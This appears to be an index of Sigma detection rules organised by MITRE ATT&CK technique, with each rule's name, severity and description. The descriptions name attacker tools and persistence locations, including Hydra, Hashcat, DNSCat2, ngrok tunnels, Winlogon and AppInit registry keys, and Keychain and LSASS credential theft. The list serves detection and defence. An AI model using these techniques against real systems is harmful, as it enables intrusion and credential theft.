attack.t1056.002	3	Show Rules (3) GUI Input Capture - macOS - Level: low Description: Detects attempts to use system dialog prompts to capture user credentials CredUI.DLL Loaded By Uncommon Process - Level: medium Description: Detects loading of "credui.dll" and related DLLs by an uncommon process. Attackers might leverage this DLL for potential use of "CredUIPromptForCredentials" or "CredUnPackAuthenticationBufferW". PUA - Mouse Lock Execution - Level: medium Description: In Kaspersky's 2020 Incident Response Analyst Report they listed legitimate tool "Mouse Lock" as being used for both credential access and collection in security incidents.
attack.t1497.001	3	Show Rules (3) System Information Discovery Via Sysctl - MacOS - Level: medium Description: Detects the execution of "sysctl" with specific arguments that have been used by threat actors and malware. It provides system hardware information. This process is primarily used to detect and avoid virtualization and analysis environments. System Information Discovery Using System_Profiler - Level: medium Description: Detects the execution of "system_profiler" with specific "Data Types" that have been seen being used by threat actors and malware. It provides system hardware and software configuration information. This process is primarily used for system information discovery. However, "system_profiler" can also be used to determine if virtualization software is being run for defense evasion purposes. Powershell Detect Virtualization Environment - Level: medium Description: Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox
attack.t1102.002	3	Show Rules (3) Telegram Bot API Request - Level: medium Description: Detects suspicious DNS queries to api.telegram.org used by Telegram Bots of any kind Telegram API Access - Level: medium Description: Detects suspicious requests to Telegram API without the usual Telegram User-Agent Potentially Suspicious Azure Front Door Connection - Level: medium Description: Detects connections with Azure Front Door (known legitimate service that can be leveraged for C2) that fall outside of known benign behavioral baseline (not using common apps or common azurefd.net endpoints)
attack.t1547.004	3	Show Rules (3) MITRE BZAR Indicators for Persistence - Level: medium Description: Windows DCE-RPC functions which indicate a persistence techniques on the remote system. All credit for the Zeek mapping of the suspicious endpoint/operation field goes to MITRE. Winlogon Helper DLL - Level: medium Description: Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\Software[Wow6432Node]Microsoft\Windows NT\CurrentVersion\Winlogon\ and HKCU\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\ are used to manage additional helper programs and functionalities that support Winlogon. Malicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Winlogon Notify Key Logon Persistence - Level: high Description: Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete.
attack.t1499.004	3	Show Rules (3) Apache Segmentation Fault - Level: high Description: Detects a segmentation fault error message caused by a crashing apache worker process Nginx Core Dump - Level: high Description: Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts. Audit CVE Event - Level: critical Description: Detects events generated by user-mode applications when they call the CveEventWrite API when a known vulnerability is trying to be exploited. MS started using this log in Jan. 2020 with CVE-2020-0601 (a Windows CryptoAPI vulnerability. Unfortunately, that is about the only instance of CVEs being written to this log.
attack.t1090.003	3	Show Rules (3) Query Tor Onion Address - DNS Client - Level: high Description: Detects DNS resolution of an .onion address related to Tor routing networks DNS Query Tor .Onion Address - Sysmon - Level: high Description: Detects DNS queries to an ".onion" address related to Tor routing networks Tor Client/Browser Execution - Level: high Description: Detects the use of Tor or Tor-Browser to connect to onion routing networks
attack.t1505.002	3	Show Rules (3) MSExchange Transport Agent Installation - Builtin - Level: medium Description: Detects the Installation of a Exchange Transport Agent Failed MSExchange Transport Agent Installation - Level: high Description: Detects a failed installation of a Exchange Transport Agent MSExchange Transport Agent Installation - Level: medium Description: Detects the Installation of a Exchange Transport Agent
attack.t1001.003	3	Show Rules (3) Suspicious LDAP-Attributes Used - Level: high Description: Detects the usage of particular AttributeLDAPDisplayNames, which are known for data exchange via LDAP by the tool LDAPFragger and are additionally not commonly used in companies. ADSI-Cache File Creation By Uncommon Tool - Level: medium Description: Detects the creation of an "Active Directory Schema Cache File" (.sch) file by an uncommon tool. DNSCat2 Powershell Implementation Detection Via Process Creation - Level: high Description: The PowerShell implementation of DNSCat2 calls nslookup to craft queries. Counting nslookup processes spawned by PowerShell will show hundreds or thousands of instances if PS DNSCat2 is active locally.
attack.t1136.002	3	Show Rules (3) Suspicious Windows ANONYMOUS LOGON Local Account Created - Level: high Description: Detects the creation of suspicious accounts similar to ANONYMOUS LOGON, such as using additional spaces. Created as an covering detection for exclusion of Logon Type 3 from ANONYMOUS LOGON accounts. PSEXEC Remote Execution File Artefact - Level: high Description: Detects creation of the PSEXEC key file. Which is created anytime a PsExec command is executed. It gets written to the file system and will be recorded in the USN Journal on the target system Manipulation of User Computer or Group Security Principals Across AD - Level: medium Description: Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain..
attack.t1110.001	3	Show Rules (3) Suspicious Rejected SMB Guest Logon From IP - Level: medium Description: Detect Attempt PrintNightmare (CVE-2021-1675) Remote code execution in Windows Spooler Service Suspicious Connection to Remote Account - Level: low Description: Adversaries with no prior knowledge of legitimate credentials within the system or environment may guess passwords to attempt access to accounts. Without knowledge of the password for an account, an adversary may opt to systematically guess the password using a repetitive or iterative mechanism HackTool - Hydra Password Bruteforce Execution - Level: high Description: Detects command line parameters used by Hydra password guessing hack tool
attack.t1055.012	3	Show Rules (3) HackTool - CACTUSTORCH Remote Thread Creation - Level: high Description: Detects remote thread creation from CACTUSTORCH as described in references. Potential Process Hollowing Activity - Level: medium Description: Detects when a memory process image does not match the disk image, indicative of process hollowing. Potential Pikabot Hollowing Activity - Level: high Description: Detects the execution of rundll32 that leads to the invocation of legitimate Windows binaries. The malware Pikabot has been seen to use this technique for process hollowing through hard-coded Windows binaries
attack.t1036.007	3	Show Rules (3) Suspicious Double Extension Files - Level: high Description: Detects dropped files with double extensions, which is often used by malware as a method to abuse the fact that Windows hide default extensions by default. Suspicious LNK Double Extension File Created - Level: medium Description: Detects the creation of files with an "LNK" as a second extension. This is sometimes used by malware as a method to abuse the fact that Windows hides the "LNK" extension by default. Suspicious Parent Double Extension File Execution - Level: high Description: Detect execution of suspicious double extension files in ParentCommandLine
attack.t1546.013	3	Show Rules (3) PowerShell Profile Modification - Level: medium Description: Detects the creation or modification of a powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence VsCode Powershell Profile Modification - Level: medium Description: Detects the creation or modification of a vscode related powershell profile which could indicate suspicious activity as the profile can be used as a mean of persistence Potential Persistence Via PowerShell User Profile Using Add-Content - Level: medium Description: Detects calls to "Add-Content" cmdlet in order to modify the content of the user profile and potentially adding suspicious commands for persistence
attack.t1556.002	3	Show Rules (3) Powershell Install a DLL in System Directory - Level: high Description: Uses PowerShell to install/copy a file into a system directory such as "System32" or "SysWOW64" Dropping Of Password Filter DLL - Level: medium Description: Detects dropping of dll files in system32 that may be used to retrieve user credentials from LSASS Potential Suspicious Activity Using SeCEdit - Level: medium Description: Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy
attack.t1553.005	3	Show Rules (3) Suspicious Invoke-Item From Mount-DiskImage - Level: medium Description: Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Suspicious Mount-DiskImage - Level: low Description: Adversaries may abuse container files such as disk image (.iso, .vhd) file formats to deliver malicious payloads that may not be tagged with MOTW. Suspicious Unblock-File - Level: medium Description: Remove the Zone.Identifier alternate data stream which identifies the file as downloaded from the internet.
attack.t1564.003	3	Show Rules (3) Suspicious PowerShell WindowStyle Option - Level: medium Description: Adversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden HackTool - Covenant PowerShell Launcher - Level: high Description: Detects suspicious command lines used in Covenant luanchers PUA - AdvancedRun Execution - Level: medium Description: Detects the execution of AdvancedRun utility
attack.t1546.001	3	Show Rules (3) Change Default File Association Via Assoc - Level: low Description: Detects file association changes using the builtin "assoc" command. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened. Change Default File Association To Executable Via Assoc - Level: high Description: Detects when a program changes the default file association of any extension to an executable. When a file is opened, the default program used to open the file (also called the file association or handler) is checked. File association selections are stored in the Windows Registry and can be edited by users, administrators, or programs that have Registry access or by administrators using the built-in assoc utility. Applications can modify the file association for a given file extension to call an arbitrary program when a file with the given extension is opened. Shell Open Registry Keys Manipulation - Level: high Description: Detects the shell open key manipulation (exefile and ms-settings) used for persistence and the pattern of UAC Bypass using fodhelper.exe, computerdefaults.exe, slui.exe via registry keys (e.g. UACMe 33 or 62)
attack.t1134.003	3	Show Rules (3) HackTool - Impersonate Execution - Level: medium Description: Detects execution of the Impersonate tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively HackTool - SharpImpersonation Execution - Level: high Description: Detects execution of the SharpImpersonation tool. Which can be used to manipulate tokens on a Windows computers remotely (PsExec/WmiExec) or interactively HackTool - SharpDPAPI Execution - Level: high Description: Detects the execution of the SharpDPAPI tool based on CommandLine flags and PE metadata. SharpDPAPI is a C# port of some DPAPI functionality from the Mimikatz project.
attack.t1037.001	3	Show Rules (3) Potential Persistence Via Logon Scripts - CommandLine - Level: high Description: Detects the addition of a new LogonScript to the registry value "UserInitMprLogonScript" for potential persistence Uncommon Userinit Child Process - Level: high Description: Detects uncommon "userinit.exe" child processes, which could be a sign of uncommon shells or login scripts used for persistence. Potential Persistence Via Logon Scripts - Registry - Level: medium Description: Detects creation of "UserInitMprLogonScript" registry value which can be used as a persistence method by malicious actors
attack.t1546.004	2	Show Rules (2) Edit of .bash_profile and .bashrc - Level: medium Description: Detects change of user environment. Adversaries can insert code into these files to gain persistence each time a user logs in or opens a new shell. Unix Shell Configuration Modification - Level: medium Description: Detect unix shell configuration modification. Adversaries may establish persistence through executing malicious commands triggered when a new shell is opened.
attack.t1127.001	2	Show Rules (2) Possible Applocker Bypass - Level: low Description: Detects execution of executables that can be used to bypass Applocker whitelisting Silenttrinity Stager Msbuild Activity - Level: high Description: Detects a possible remote connections to Silenttrinity c2
attack.t1087.004	2	Show Rules (2) RBAC Permission Enumeration Attempt - Level: low Description: Detects identities attempting to enumerate their Kubernetes RBAC permissions. In the early stages of a breach, attackers will aim to list the permissions they have within the compromised environment. In a Kubernetes cluster, this can be achieved by interacting with the API server, and querying the SelfSubjectAccessReview API via e.g. a "kubectl auth can-i --list" command. This will enumerate the Role-Based Access Controls (RBAC) rules defining the compromised user's authorization. Discovery Using AzureHound - Level: high Description: Detects AzureHound (A BloodHound data collector for Microsoft Azure) activity via the default User-Agent that is used during its operation after successful authentication.
attack.t1505.001	2	Show Rules (2) Suspicious SQL Query - Level: medium Description: Detects suspicious SQL query keywrods that are often used during recon, exfiltration or destructive activities. Such as dropping tables and selecting wildcard fields Potential CVE-2023-27363 Exploitation - HTA File Creation By FoxitPDFReader - Level: high Description: Detects suspicious ".hta" file creation in the startup folder by Foxit Reader. This can be an indication of CVE-2023-27363 exploitation.
attack.t1078.002	2	Show Rules (2) Malicious Usage Of IMDS Credentials Outside Of AWS Infrastructure - Level: high Description: Detects when an instance identity has taken an action that isn't inside SSM. This can indicate that a compromised EC2 instance is being used as a pivot point. Admin User Remote Logon - Level: low Description: Detect remote login by Administrator user (depending on internal pattern).
attack.t1566.002	2	Show Rules (2) Potential Malicious Usage of CloudTrail System Manager - Level: high Description: Detect when System Manager successfully executes commands against an instance. Suspicious Execution via macOS Script Editor - Level: medium Description: Detects when the macOS Script Editor utility spawns an unusual child process.
attack.t1556.006	2	Show Rules (2) Azure AD Only Single Factor Authentication Required - Level: low Description: Detect when users are authenticating without MFA being required. Okta MFA Reset or Deactivated - Level: medium Description: Detects when an attempt at deactivating or resetting MFA.
attack.t1591.004	2	Show Rules (2) Bitbucket User Details Export Attempt Detected - Level: medium Description: Detects user data export activity. Bitbucket User Permissions Export Attempt - Level: medium Description: Detects user permission data export attempt.
attack.t1195.001	2	Show Rules (2) Outdated Dependency Or Vulnerability Alert Disabled - Level: high Description: Dependabot performs a scan to detect insecure dependencies, and sends Dependabot alerts. This rule detects when an organization owner disables Dependabot alerts private repositories or Dependabot security updates for all repositories. Octopus Scanner Malware - Level: high Description: Detects Octopus Scanner Malware.
attack.t1574.006	2	Show Rules (2) Modification of ld.so.preload - Level: high Description: Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes. Code Injection by ld.so Preload - Level: high Description: Detects the ld.so preload persistence file. See `man ld.so` for more information.
attack.t1543.002	2	Show Rules (2) Systemd Service Reload or Start - Level: low Description: Detects a reload or a start of a service. Systemd Service Creation - Level: medium Description: Detects a creation of systemd services which could be used by adversaries to execute malicious code.
attack.t1204.001	2	Show Rules (2) Symlink Etc Passwd - Level: high Description: Detects suspicious command lines that look as if they would create symbolic links to /etc/passwd Suspicious Execution via macOS Script Editor - Level: medium Description: Detects when the macOS Script Editor utility spawns an unusual child process.
attack.t1548.001	2	Show Rules (2) PwnKit Local Privilege Escalation - Level: high Description: Detects potential PwnKit exploitation CVE-2021-4034 in auth logs Setuid and Setgid - Level: low Description: Detects suspicious change of file privileges with chown and chmod commands
attack.t1548.003	2	Show Rules (2) Sudo Privilege Escalation CVE-2019-14287 - Builtin - Level: critical Description: Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287 Sudo Privilege Escalation CVE-2019-14287 - Level: high Description: Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287
attack.t1568.002	2	Show Rules (2) Communication To Ngrok Tunneling Service - Linux - Level: high Description: Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors Communication To Ngrok Tunneling Service Initiated - Level: high Description: Detects an executable initiating a network connection to "ngrok" tunneling domains. Attackers were seen using this "ngrok" in order to store their second stage payloads and malware. While communication with such domains can be legitimate, often times is a sign of either data exfiltration by malicious actors or additional download.
attack.t1593.003	2	Show Rules (2) Suspicious Git Clone - Linux - Level: medium Description: Detects execution of "git" in order to clone a remote repository that contain suspicious keywords which might be suspicious Suspicious Git Clone - Level: medium Description: Detects execution of "git" in order to clone a remote repository that contain suspicious keywords which might be suspicious
attack.t1543.001	2	Show Rules (2) Launch Agent/Daemon Execution Via Launchctl - Level: medium Description: Detects the execution of programs as Launch Agents or Launch Daemons using launchctl on macOS. Potential Persistence Via PlistBuddy - Level: high Description: Detects potential persistence activity using LaunchAgents or LaunchDaemons via the PlistBuddy utility
attack.t1543.004	2	Show Rules (2) Launch Agent/Daemon Execution Via Launchctl - Level: medium Description: Detects the execution of programs as Launch Agents or Launch Daemons using launchctl on macOS. Potential Persistence Via PlistBuddy - Level: high Description: Detects potential persistence activity using LaunchAgents or LaunchDaemons via the PlistBuddy utility
attack.t1137.002	2	Show Rules (2) Suspicious Microsoft Office Child Process - MacOS - Level: high Description: Detects suspicious child processes spawning from microsoft office suite applications such as word or excel. This could indicates malicious macro execution Office Application Startup - Office Test - Level: medium Description: Detects the addition of office test registry that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started
attack.t1102.003	2	Show Rules (2) PwnDrp Access - Level: critical Description: Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity Raw Paste Service Access - Level: high Description: Detects direct access to raw pastes in different paste services often used by malware in their second stages to download malicious code in encrypted or encoded form
attack.t1090.002	2	Show Rules (2) RDP over Reverse SSH Tunnel WFP - Level: high Description: Detects svchost hosting RDP termsvcs communicating with the loopback address Network Communication Initiated To Portmap.IO Domain - Level: medium Description: Detects an executable accessing the portmap.io domain, which could be a sign of forbidden C2 traffic or data exfiltration by malicious actors
attack.t1055.003	2	Show Rules (2) Remote Thread Creation In Uncommon Target Image - Level: medium Description: Detects uncommon target processes for remote thread creation HackTool - LittleCorporal Generated Maldoc Injection - Level: high Description: Detects the process injection of a LittleCorporal generated Maldoc.
attack.t1036.002	2	Show Rules (2) Potential File Extension Spoofing Using Right-to-Left Override - Level: high Description: Detects suspicious filenames that contain a right-to-left override character and a potentially spoofed file extensions. Potential Defense Evasion Via Right-to-Left Override - Level: high Description: Detects the presence of the "u202+E" character, which causes a terminal, browser, or operating system to render text in a right-to-left sequence. This is used as an obfuscation and masquerading techniques.
attack.t1542.001	2	Show Rules (2) UEFI Persistence Via Wpbbin - FileCreation - Level: high Description: Detects creation of a file named "wpbbin" in the "%systemroot%\system32\" directory. Which could be indicative of UEFI based persistence method UEFI Persistence Via Wpbbin - ProcessCreation - Level: high Description: Detects execution of the binary "wpbbin" which is used as part of the UEFI based persistence method described in the reference section
attack.t1574.012	2	Show Rules (2) Registry-Free Process Scope COR_PROFILER - Level: medium Description: Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profiliers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR. (Citation: Microsoft Profiling Mar 2017) (Citation: Microsoft COR_PROFILER Feb 2013) Enabling COR Profiler Environment Variables - Level: medium Description: Detects .NET Framework CLR and .NET Core CLR "cor_enable_profiling" and "cor_profiler" variables being set and configured.
attack.t1564.006	2	Show Rules (2) Suspicious Hyper-V Cmdlets - Level: medium Description: Adversaries may carry out malicious operations using a virtual instance to avoid detection Detect Virtualbox Driver Installation OR Starting Of VMs - Level: low Description: Adversaries can carry out malicious operations using a virtual instance to avoid detection. This rule is built to detect the registration of the Virtualbox driver or start of a Virtualbox VM.
attack.t1027.009	2	Show Rules (2) Powershell Token Obfuscation - Powershell - Level: high Description: Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation Powershell Token Obfuscation - Process Creation - Level: high Description: Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation
attack.t1574.005	2	Show Rules (2) HackTool - SharpUp PrivEsc Tool Execution - Level: critical Description: Detects the use of SharpUp, a tool for local privilege escalation Setup16.EXE Execution With Custom .Lst File - Level: medium Description: Detects the execution of "Setup16.EXE" and old installation utility with a custom ".lst" file. These ".lst" file can contain references to external program that "Setup16.EXE" will execute. Attackers and adversaries might leverage this as a living of the land utility.
attack.t1216.001	2	Show Rules (2) Launch-VsDevShell.PS1 Proxy Execution - Level: medium Description: Detects the use of the 'Launch-VsDevShell.ps1' Microsoft signed script to execute commands. Pubprn.vbs Proxy Execution - Level: medium Description: Detects the use of the 'Pubprn.vbs' Microsoft signed script to execute commands.
attack.t1218.013	2	Show Rules (2) Mavinject Inject DLL Into Running Process - Level: high Description: Detects process injection using the signed Windows tool "Mavinject" via the "INJECTRUNNING" flag Renamed Mavinject.EXE Execution - Level: high Description: Detects the execution of a renamed version of the "Mavinject" process. Which can be abused to perform process injection using the "/INJECTRUNNING" flag
attack.t1563.002	2	Show Rules (2) Potential MSTSC Shadowing Activity - Level: high Description: Detects RDP session hijacking by using MSTSC shadowing Suspicious RDP Redirect Using TSCON - Level: high Description: Detects a suspicious RDP session redirect using tscon.exe
attack.t1546.009	2	Show Rules (2) New DLL Added to AppCertDlls Registry Key - Level: medium Description: Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. Session Manager Autorun Keys Modification - Level: medium Description: Detects modification of autostart extensibility point (ASEP) in registry.
attack.t1553.003	2	Show Rules (2) Persistence Via New SIP Provider - Level: medium Description: Detects when an attacker register a new SIP provider for persistence and defense evasion Kapeka Backdoor Configuration Persistence - Level: medium Description: Detects registry set activity of a value called "Seed" stored in the "\Cryptography\Providers\" registry key. The Kapeka backdoor leverages this location to register a new SIP provider for backdoor configuration persistence.
attack.t1036.004	2	Show Rules (2) Operation Wocao Activity - Level: high Description: Detects activity mentioned in Operation Wocao report Operation Wocao Activity - Security - Level: high Description: Detects activity mentioned in Operation Wocao report
attack.t1070.008	2	Show Rules (2) Access To Windows Outlook Mail Files By Uncommon Applications - Level: low Description: Detects file access requests to Windows Outlook Mail by uncommon processes. Could indicate potential attempt of credential stealing. Requires heavy baselining before usage Windows Mail App Mailbox Access Via PowerShell Script - Level: medium Description: Detects PowerShell scripts that try to access the default Windows MailApp MailBox. This indicates manipulation of or access to the stored emails of a user. E.g. this could be used by an attacker to exfiltrate or delete the content of the emails.
attack.t1027.010	2	Show Rules (2) Invocation Of Crypto-Classes From The "Cryptography" PowerShell Namespace - Level: medium Description: Detects the invocation of PowerShell commands with references to classes from the "System.Security.Cryptography" namespace. The PowerShell namespace "System.Security.Cryptography" provides classes for on-the-fly encryption and decryption. These can be used for example in decrypting malicious payload for defense evasion. Registry Set With Crypto-Classes From The "Cryptography" PowerShell Namespace - Level: medium Description: Detects the setting of a registry inside the "\Shell\Open\Command" value with PowerShell classes from the "System.Security.Cryptography" namespace. The PowerShell namespace "System.Security.Cryptography" provides classes for on-the-fly encryption and decryption. These can be used for example in decrypting malicious payload for defense evasion.
attack.t1055.002	1	Show Rules (1) Suspicious In-Memory Module Execution - Level: low Description: Detects the access to processes by other suspicious processes which have reflectively loaded libraries in their memory space. An example is SilentTrinity C2 behaviour. Generally speaking, when Sysmon EventID 10 cannot reference a stack call to a dll loaded from disk (the standard way), it will display "UNKNOWN" as the module name. Usually this means the stack call points to a module that was reflectively loaded in memory. Adding to this, it is not common to see such few calls in the stack (ntdll.dll --> kernelbase.dll --> unknown) which essentially means that most of the functions required by the process to execute certain routines are already present in memory, not requiring any calls to external libraries. The latter should also be considered suspicious.
attack.t1218.004	1	Show Rules (1) Possible Applocker Bypass - Level: low Description: Detects execution of executables that can be used to bypass Applocker whitelisting
attack.t1069.003	1	Show Rules (1) RBAC Permission Enumeration Attempt - Level: low Description: Detects identities attempting to enumerate their Kubernetes RBAC permissions. In the early stages of a breach, attackers will aim to list the permissions they have within the compromised environment. In a Kubernetes cluster, this can be achieved by interacting with the API server, and querying the SelfSubjectAccessReview API via e.g. a "kubectl auth can-i --list" command. This will enumerate the Role-Based Access Controls (RBAC) rules defining the compromised user's authorization.
attack.t1021.007	1	Show Rules (1) AWS Console GetSigninToken Potential Abuse - Level: medium Description: Detects potentially suspicious events involving "GetSigninToken". An adversary using the "aws_consoler" tool can leverage this console API to create temporary federated credential that help obfuscate which AWS credential is compromised (the original access key) and enables the adversary to pivot from the AWS CLI to console sessions without the need for MFA using the new access key issued in this request.
attack.t1578.003	1	Show Rules (1) Azure Active Directory Hybrid Health AD FS Service Delete - Level: medium Description: This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant. A threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs. The health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.
attack.t1562.007	1	Show Rules (1) Azure Network Firewall Policy Modified or Deleted - Level: medium Description: Identifies when a Firewall Policy is Modified or Deleted.
attack.t1098.005	1	Show Rules (1) Windows LAPS Credential Dump From Entra ID - Level: high Description: Detects when an account dumps the LAPS password from Entra ID.
attack.t1586.003	1	Show Rules (1) Okta Suspicious Activity Reported by End-user - Level: high Description: Detects when an Okta end-user reports activity by their account as being potentially suspicious.
attack.t1547.006	1	Show Rules (1) Loading of Kernel Module via Insmod - Level: high Description: Detects loading of kernel modules with insmod command. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. Adversaries may use LKMs to obtain persistence within the system or elevate the privileges.
attack.t1588.001	1	Show Rules (1) Relevant ClamAV Message - Level: high Description: Detects relevant ClamAV messages
attack.t1055.009	1	Show Rules (1) Potential Linux Process Code Injection Via DD Utility - Level: medium Description: Detects the injection of code by overwriting the memory map of a Linux process using the "dd" Linux command.
attack.t1562.003	1	Show Rules (1) ESXi Syslog Configuration Change Via ESXCLI - Level: medium Description: Detects changes to the ESXi syslog configuration via "esxcli"
attack.t1546.014	1	Show Rules (1) MacOS Emond Launch Daemon - Level: medium Description: Detects additions to the Emond Launch Daemon that adversaries may use to gain persistence and elevate privileges.
attack.t1037.005	1	Show Rules (1) Startup Item File Created - MacOS - Level: low Description: Detects the creation of a startup item plist file, that automatically get executed at boot initialization to establish persistence. Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.
attack.t1555.001	1	Show Rules (1) Credentials from Password Stores - Keychain - Level: medium Description: Detects passwords dumps from Keychain
attack.t1569.001	1	Show Rules (1) Launch Agent/Daemon Execution Via Launchctl - Level: medium Description: Detects the execution of programs as Launch Agents or Launch Daemons using launchctl on macOS.
attack.t1036.006	1	Show Rules (1) Space After Filename - macOS - Level: low Description: Detects attempts to masquerade as legitimate files by adding a space to the end of the filename.
attack.t1553.001	1	Show Rules (1) Gatekeeper Bypass via Xattr - Level: low Description: Detects macOS Gatekeeper bypass via xattr utility
attack.t1561.001	1	Show Rules (1) Cisco File Deletion - Level: medium Description: See what files are being deleted from flash file systems
attack.t1561.002	1	Show Rules (1) Cisco File Deletion - Level: medium Description: See what files are being deleted from flash file systems
attack.t1565.002	1	Show Rules (1) Cisco Modify Configuration - Level: medium Description: Modifications to a config that will serve an adversary's impacts or persistence
attack.t1595.002	1	Show Rules (1) DNS Query to External Service Interaction Domains - Level: high Description: Detects suspicious DNS queries to external service interaction domains often used for out-of-band interactions after successful RCE
attack.t1590.002	1	Show Rules (1) Failed DNS Zone Transfer - Level: medium Description: Detects when a DNS zone transfer failed.
attack.t1553.002	1	Show Rules (1) Potential Secure Deletion with SDelete - Level: medium Description: Detects files that have extensions commonly seen while SDelete is used to wipe files.
attack.t1134.005	1	Show Rules (1) Addition of SID History to Active Directory Object - Level: medium Description: An attacker can use the SID history attribute to gain additional privileges.
attack.t1499.001	1	Show Rules (1) NTFS Vulnerability Exploitation - Level: high Description: This the exploitation of a NTFS vulnerability as reported without many details via Twitter
attack.t1555.005	1	Show Rules (1) Remote Thread Created In KeePass.EXE - Level: high Description: Detects remote thread creation in "KeePass.exe" which could indicates potential password dumping activity
attack.t1599.001	1	Show Rules (1) WinDivert Driver Load - Level: high Description: Detects the load of the Windiver driver, a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows
attack.t1137.003	1	Show Rules (1) Potential Persistence Via Outlook Form - Level: high Description: Detects the creation of a new Outlook form which can contain malicious code
attack.t1547.015	1	Show Rules (1) Windows Terminal Profile Settings Modification By Uncommon Process - Level: medium Description: Detects the creation or modification of the Windows Terminal Profile settings file "settings.json" by an uncommon process.
attack.t1027.002	1	Show Rules (1) Python Image Load By Non-Python Process - Level: medium Description: Detects the image load of "Python Core" by a non-Python process. This might be indicative of a Python script bundled with Py2Exe.
attack.t1114.001	1	Show Rules (1) Powershell Local Email Collection - Level: medium Description: Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a users local system, such as Outlook storage or cache files.
attack.t1055.011	1	Show Rules (1) Uncommon Process Access Rights For Target Image - Level: low Description: Detects process access request to uncommon target images with a "PROCESS_ALL_ACCESS" access mask.
attack.t1542.003	1	Show Rules (1) Potential Ransomware or Unauthorized MBR Tampering Via Bcdedit.EXE - Level: medium Description: Detects potential malicious and unauthorized usage of bcdedit.exe
attack.t1614.001	1	Show Rules (1) Console CodePage Lookup Via CHCP - Level: medium Description: Detects use of chcp to look up the system locale value as part of host discovery
attack.t1218.002	1	Show Rules (1) Control Panel Items - Level: high Description: Detects the malicious use of a control panel item
attack.t1048.001	1	Show Rules (1) DNS Exfiltration and Tunneling Tools Execution - Level: high Description: Well-known DNS Exfiltration tools execution
attack.t1110.002	1	Show Rules (1) HackTool - Hashcat Password Cracker Execution - Level: high Description: Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against
attack.t1134.004	1	Show Rules (1) HackTool - PPID Spoofing SelectMyParent Tool Execution - Level: high Description: Detects the use of parent process ID spoofing tools like Didier Stevens tool SelectMyParent
attack.t1574.008	1	Show Rules (1) Using SettingSyncHost.exe as LOLBin - Level: high Description: Detects using SettingSyncHost.exe to run hijacked binary
attack.t1590.001	1	Show Rules (1) PUA - Crassus Execution - Level: high Description: Detects Crassus, a Windows privilege escalation discovery tool, based on PE metadata characteristics.
attack.t1562.010	1	Show Rules (1) LSA PPL Protection Disabled Via Reg.EXE - Level: high Description: Detects the usage of the "reg.exe" utility to disable PPL protection on the LSA process
attack.t1505.005	1	Show Rules (1) Potential Suspicious Activity Using SeCEdit - Level: medium Description: Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy
attack.t1574.007	1	Show Rules (1) Potential Suspicious Activity Using SeCEdit - Level: medium Description: Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy
attack.t1547.014	1	Show Rules (1) Potential Suspicious Activity Using SeCEdit - Level: medium Description: Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy
attack.t1547.002	1	Show Rules (1) Potential Suspicious Activity Using SeCEdit - Level: medium Description: Detects potential suspicious behaviour using secedit.exe. Such as exporting or modifying the security policy
attack.t1021.005	1	Show Rules (1) Suspicious UltraVNC Execution - Level: high Description: Detects suspicious UltraVNC command line flag combination that indicate a auto reconnect upon execution, e.g. startup (as seen being used by Gamaredon threat group)
attack.t1546.010	1	Show Rules (1) New DLL Added to AppInit_DLLs Registry Key - Level: medium Description: DLLs that are specified in the AppInit_DLLs value in the Registry key HKLM\Software\Microsoft\Windows NT\CurrentVersion\Windows are loaded by user32.dll into every process that loads user32.dll
